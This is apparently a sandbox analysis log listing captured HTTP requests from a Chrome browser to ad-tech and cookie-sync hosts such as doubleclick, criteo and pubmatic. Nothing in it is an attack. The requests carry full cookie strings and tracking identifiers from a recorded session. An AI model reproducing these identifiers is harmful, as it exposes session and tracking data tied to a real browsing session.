Source: global traffic	HTTP traffic detected: GET /pixel?cs=8&google_nid=media&google_cm=1&google_hm=MzU3MjU5MzI0OTEwNDU5MDAwMFYxMA%3D%3D&google_sc=1&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /cksync.php?type=mf&ovsid=786797b7-bf38-456a-a874-4aad6fb5186b&cs=3&redirect=https://rtb-use.mfadsrvr.com/sync HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=appnexus&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=1476058396850158061 HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwidHRkIjp7InVpZCI6IjQzZTdkYzhlLTU0NTgtNDM3NS1iZTRhLTY0NDczN2VkNGRiZCIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjA5LjE3MzA1OTc2MVoifX19
Source: global traffic	HTTP traffic detected: GET /dcm/impl_v101.js HTTP/1.1Host: www.googletagservices.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sadbundle/13259857157114927549/CB1-Curi_300x600/data2.json HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=78e2dffc-bb89-4bb2-ae92-f592d006518b&ph=6a16560a-f6c6-4851-b7b5-0b2c0190166a&r=https%3A%2F%2Fcontextual.media.net%2Fcksync.html%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dopx%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /us?https://contextual.media.net/cksync.php?cs=8&vsid=3572593249104590000V10&type=son&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=[UID] HTTP/1.1Host: sync.go.sonobi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __uis=2d729954-b637-472c-acf0-d931fcda5d4a; HAPLB8G=s8599\|Zi1/P
Source: global traffic	HTTP traffic detected: GET /sync?r=2&c=321&gdpr=0&gdpr_pd=0&gdpr_consent=&us_privacy=1YNN&j=window.advBidxc.mnetRtusId HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=45333149&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=1980923529&pcid=786797b7-bf38-456a-a874-4aad6fb5186b HTTP/1.1Host: sync.intentiq.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dis/usersync.aspx?r=115&p=226&cp=medianet&cu=1&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA&gpp_sid=-1&url=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dcrt%26ovsid%3D%40%40CRITEO_USERID%40%40 HTTP/1.1Host: dis.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v000/t_tkr/ev?type=dl&dltime=0&fver=90&imp=1121930830413873533&plid=3494600134447014563&pvid=3526568451959556956&fmtid=90&e=11&offsetX=999999&offsetY=999999&pvt=1714257719710&stime=1714257729338&etime=1714257729339&viewportHeight=984&viewportWidth=1280&adSlotLeft=-998112%2C-999048&adSlotRight=-997862%2C-998748 HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
Source: global traffic	HTTP traffic detected: GET /beacon/prebid-server/?&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1Host: ce.lijit.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjssFeWijijYeVrDHQsE9uLngcGqKqeI2iQFWdDJP_eHrGB56SP0qfSER0N5j4QbilWniOJfOWNnDfox8KWxFCRMn00Y3TOuLuvmNEXYkDiXclcpZ8qQg7azfQHv6Att5lPM52FUdwxZJW2P0UtPMjaklC_lQjp9iVilcuPj86bor7AO_y3v884_mPFNG3SIvT1t85MzzhMelAToWwJOLECfPJ-goxrJ-pdYtUY8RDe42Guf1JxxYS3SQoTp4qMivlWbj2QyK-tzUyNQcDMC0mlMg1iPrkNZdM1bCbnuyWRYBI1sqXn69qNkdQzv2PBav6ZIT_Ze9ONBHPf5uWl5DEKwRBkMSTfZiFWAXVcNpuMRx_pOfygDjVt8sBZcK44tOEchqD_GQo_UapZl8nzSY5IwaC21HGkZIq86X3ccnsYT9b3pjA8OX7kwOXkZnS6jM4LQNy16_Jbou74XJqrzjQTSIzczedunRDgDKx79vI_P93lcu9tEEiY028JCk57MBw_oe9KtHb3rWjHTJ8brtpmd4enrSO8S0dcweDPYUNPBF0KOzaDyvR3yUKBXvGAcfhmRA4R9-BXjMmOvn9W7ohq1sxV9whApZMwrwaauUrOx4LTF5zdBXVfN-IBTBfiERcw8VeHljQ9JTDYphPRAgRZX6juPu_3oiZilE5xnAF5bAI28cthrTgtaW-wtKS9W2GyDjf_XUHRE8eHhxv9a4idSD7yVtZCMRbCv0yn79MneB4skCwsjQ6q5auNe8rrp2tNBXB-rO7MymHa8XA-PF4HcnREy5d1NsY2cElnDR4dJWHiBcTyuHN-kFmhrbMIOJW6oF6c4dLZ99XU9kBy-BojfQDKe1eUVtmgy0S_tlyTlB6mIrZRkgjJ7INLUwZMhga1yeEmpiDBBRRXT9T8lQvuxqi8y9fOxQrFy86TpvCJh9_YkFxfF2GbST5AwbaGNxKm2fGdewb5_lFiu4wAoBDbVN93KNpJ34_wFEByeY-0AiCp7GZANU-N-c6v1uGgWq1h2V6M9k9lkHqyoTCiit9OnH5e3Dd3JQ-kDOlOaSWu4vqckJP4-vTDB05wYKMDEjnZDU9XtmwsltOclBmg6FhEDomK9YTd3PcKKPN8Xat016eO-TgAgXXUDLyTURSIfUDyO0lNCNg0BPpHTHDBJRCpcyfHTqVyg9-oJBe7zWwQjk4c07tdGoTxe_pBKkHxsb8Gpl9vHaRG40S4CRKGXuOUQiQD46bdnkNLLn-JfPEUx6h7zmCFCOJOrOtbQEugq9068ht2aYVgzrr4sOG067_XLSiv7FbmaevbcWtRwSGo-m3TIb7vE6ScCrSh3P4ryTDBn4Su3fElJ3OMQZdYL_xBXepnA8yH_9Djy2rOUvpe2L_CZcVCZ8iXOAJOyGNbynqSbkCr9Vjc4kmSIQbS4h6NPszHkYWqRFXWytHaFJNy5ZIrh7c1PUFDtgQ5Y6r1VHAQtJw6poWV8zLek1-yF9oW5qx2eRyBdLwvZ6fAcqVqo-7ye2Nf88kiLtdxkg5ArqLdK68jhVVEQrhZ2jLazpyrGIsgpN3rwbENA&sai=AMfl-YTRxed2ZL5bP4czdSJXLobervjH2kptuvMVM5josd4TmZSN4SS546eQaNgcuRNPJtjPZ440xmnf4fzusC4kZEFb2cO1tOpysQBwQHiLEIWQLp3KmcfZO30-N7_9DeVBss3YTSgEivyAJKLgxEjm2oFnCs2yhm5MX9rqvfmMTjyhTlv-G6-czL_cLnCrfE8tU0JpleqSKwF7SvAHyzF2M9MJYC9Qr097-fAST4j-u8qO6WdQNmQcmUIqReZuX57mMHfmwNZG2zp-8ucdiDJ5ouJbAcy_hH0w9K6WoSj5CxA9qLSTd1M3tzQ81BtVqrd6wSKl2JGjEihAhuLOczfDj18VvsK6CeG7PhKbP-mh5OsoMPpIOKwVsX8DvdljSJ4VHYOHZbRHvjEyIpTe33fRVe8bbCi_d88t7hoKhGSFLej6ko-igiRXIX-Tju-_taNJYq0G_fUAvZ2RLZxSXHVnRjXlcH3l3gZZc5XTHRBfn9sLK0NOKymbNSZjYZijZKDn_3UZHbg&sig=Cg0ArKJSzO173YuU1KX6EAE&uach_m=%5BUACH%5D&pr=missingexchangepricemacro&crd=aHR0cHM6Ly9jdXJpLmNvbQ&fbs_aeid=%5Bgw_fbsaeid%5D&urlfix=1&omid=0&rm=1&ctpt=6043&vt=11&dtpt=4908&dett=3&cstd=1109&cisv=r20240424.23043&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&arae=1&ftch=1&adurl= HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXS
Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=yieldmo&fmt=json HTTP/1.1Host: matchadsrvr.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169
Source: global traffic	HTTP traffic detected: GET /ping_match.gif?ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Ddxu%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync2/rmp1r1?sub=medianet&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAEYBSABKAIyCwiQndbuv8XzPBAFOAE.
Source: global traffic	HTTP traffic detected: GET /beacon/prebid-server/?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID&dnr=1 HTTP/1.1Host: ce.lijit.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IkESATZH81_FapvzRxGQQ8ru
Source: global traffic	HTTP traffic detected: GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4\|t
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pmeb&google_sc=1&google_hm=7ntZ_p2vQV2pPHr0gCDdew%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_hm=RUU3QjU5RkUtOURBRi00MTVELUE5M0MtN0FGNDgwMjBERDdC&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /xuid?mid=7976&xuid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&dongle=u6nf&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 